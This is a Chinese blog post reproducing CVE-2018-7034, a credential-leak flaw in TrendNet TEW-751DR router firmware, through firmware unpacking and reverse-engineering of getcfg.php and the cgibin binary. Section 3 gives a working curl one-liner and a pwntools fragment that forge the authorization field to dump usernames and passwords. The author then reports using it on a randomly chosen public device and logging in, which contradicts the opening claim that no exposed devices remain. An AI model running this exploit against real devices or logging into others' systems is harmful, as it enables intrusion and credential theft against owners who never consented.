CVE-2018-7034 信息泄露漏洞复现
| 0 | 前言
TrendNet设备,参数处理过程和前两篇文章复现差不多,这次了解到跨文件的漏洞利用–c语言处理后的请求被传入php文件实现了account
与passwd
的泄露
可惜的是现在已经没有公网设备还留存着这个漏洞,导致只能在本地复现 : (
| 1 | 固件下载与解包
TrendNet官网: 固件下载地址
下载后在虚拟机中使用binwalk
解包
1 | binwalk -e --preserve-symlinks TEW751DR_FW103B03.bin |
| 2 | 漏洞文件逆向分析
php文件分析
我们打开web文件夹(web文件夹内的文件会被映射到真实网页的根目录中),可以看到漏洞目标文件getcfg.php
1 | HTTP/1.1 200 OK |
可以看到$AUTHORIZED_GROUP
小于0时,我们会得到报错信息后返回,只有当$AUTHORIZED_GROUP
大于等于0时,$GETCFG_SVC
会被拼接到$file
的路径中,并通过这个路径对指定的文件进行加载,运行
可以看到$AUTHORIZED_GROUP
与$GETCFG_SVC
都是直接来源于客户端的 HTTP 请求,也就是我们可能可以控制的,最后$GETCFG_SVC
也没有进行任意过滤.
此时我们来到/htdocs/webinc/getcfg/
中查看可以加载的文件,可以找到名为DEVICE.ACCOUNT.xml.php
的文件
1 | <module> |
只要能加载进来这个文件,就可以打印出uid
,name
,passwd
等敏感信息,实现信息泄露
现在我们分析二进制文件是如何对客户端请求进行处理的
二进制文件分析
我们找到htdocs/cgibin
,将其拖入IDA中分析
我们直接前往php相关处理函数phpcgi_main
中分析
1.首先要求argc大于等于2,否则会直接跳转到函数的返回处
2.创建可变内存块v7
,将argv[1]读入,并使用\n
进行分割(sobj
系列函数我已经在前两篇文章中进行了解析)
3.第三步在for循环中
将每个环境变量前拼接上_SERVER_
,并使用\n
进行分割,连续拼接到可变内存块
中
此时我们还无法伪造目标字段
之后是根据请求方式的不同,分配不同的函数指针
,并在cgibin_parse_request
中对函数指针进行调用
进入cgibin_parse_request
中分析
要求环境变量CONTENT_TYPE
与CONTENT_LENGTH
不能为0
之后调用parse_uri
,这个过程中调用了函数指针,并将main
中的可变内存块地址传进去
这个函数我也在以前解析过,此处就不再赘述
主要作用为将环境变量uri
按照?
,=
进行分割,并最终拼接到main
中的可变内存块中,我们可以通过gdb动态调试观察这个过程
可以看到最后bbb=ccc被与_POST_拼接在一起,被放入可变内存块中
我们返回到cgibin_parse_request
继续观察
简单对循环分析可以看到如果想调用函数和指针,要求CONTENT_TYPE
前12
字节为"application/"
,之后可以跳转到sub_40445C
中
在sub_40445C
中会将CONTENT_TYPE
第13字节开始与"x-www-form-urlencoded"
进行比较,如相同跳转到sub_403A0C
sub_403A0C
的作用是将报文的body
根据环境变量CONTENT_LENGTH
读入内存,然后拼接到可变内存块中
如果分析正确则可变内存中会出现dddddd?c=a*0x100
😠😡😠😡😠😡😠😡😠千万千万注意,环境变量里LENTH要写成十进制😠😡😠😡😠😡😠😡😠
最终我们来到了php处理
部分
首先是调用sess_validate
进行了身份认证,由于我们是未授权,所以这里一定是返回认证失败的-1,导致我们在php中因为没有权限而无法任意文件加载,这似乎很合理
但是在cgi
没有任何对报文body
的过滤,导致我们可以在报文中伪造任意内容,包括$AUTHORIZED_GROUP(权限)
,$GETCFG_SVC(加载路径)
.从而可以泄露敏感信息
(由于报文所处的位置位于调用sprintf
拼接的前方,所以解析时会直接解析报文中伪造的$AUTHORIZED_GROUP
与$GETCFG_SVC
)
| 3 | EXP编写
根据逆向分析,将所需的环境变量与报文body
调整好
1 | from pwn import * |
可以看到最后$AUTHORIZED_GROUP
与$GETCFG_SVC
被写入了内存中
如果我们使用curl
可以更简单得到
1 | curl -d "SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1" "http://[ip]/getcfg.php" |
攻击效果
最简单的方式就是我们直接到仍然在被使用的公网设备上进行渗透
随便找了个,可以看到我们拿到了账户和密码,尝试登录
成功登录了这个公网设备
| 4 | elf与php的交互
写到这里,我被问了个问题:”为什么我们可以通过调用cgibin
到php
实现对任意文件的加载?我们又为什么能通过向url/getcfg.php
,调用到cgibin
?”
cgibin
对php
的调用
通过xmldbc_ephp
的函数可以实现运行对应的php
文件(好吧说了和没说一样qwq)
php对cgibin的调用
重点在这里:为什么我们使用curl -d "SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1" "http://[ip]/getcfg.php"
访问公网设备就可以做到调用cgibin
对url
与报文body
进行解析,并允许我们伪造呢?
1、Web 服务器(httpd)的舞台搭建
- httpd 就是 Web Server,负责接过浏览器的请求,组件环境、再将不同请求传递给不同文件
- 它的主配置文件叫
httpd.conf
, 而httpcfg.php
其实是个中间“配置生成器”──生成的设置最后都会写进httpd.conf
里
2、.php 后缀如何被拦截?
在写进
httpd.conf
的配置里,有这么一条:1
2AddHandler cgi-script .php
Action cgi-script /cgi-bin/phpcgi这句话的含义是:凡是看到
.php
后缀的文件,就不要直接当静态文件送给浏览器,而是把它交给/usr/sbin/phpcgi
去执行。我们检查
/usr/sbin/phpcgi
又会发现,这是指向/htdocs/cgibin
的软连接,也就是
请求到处理的完整流程
- 浏览器 请求
GET /foo.php?x=1
- httpd(读了
httpd.conf
)- 看到根目录
/htdocs/web
,定位文件/htdocs/web/foo.php
- 确认后缀
.php
,触发交给cgi执行
规则
- 看到根目录
- httpd 准备环境变量,然后执行
/usr/sbin/phpcgi
(软链接 → 真正的 CGI 二进制) - phpcgi 二进制
- 从环境变量和 stdin 里读到请求细节
- 加载并解析
/htdocs/web/foo.php
脚本 - 执行后把生成的 HTML(连同 HTTP 头)写到 stdout
- httpd 再把 CGI 的输出捞起来,剥掉多余的头部(或者全部转发,比如这个复现),
然后把最后的 HTML 抛给浏览器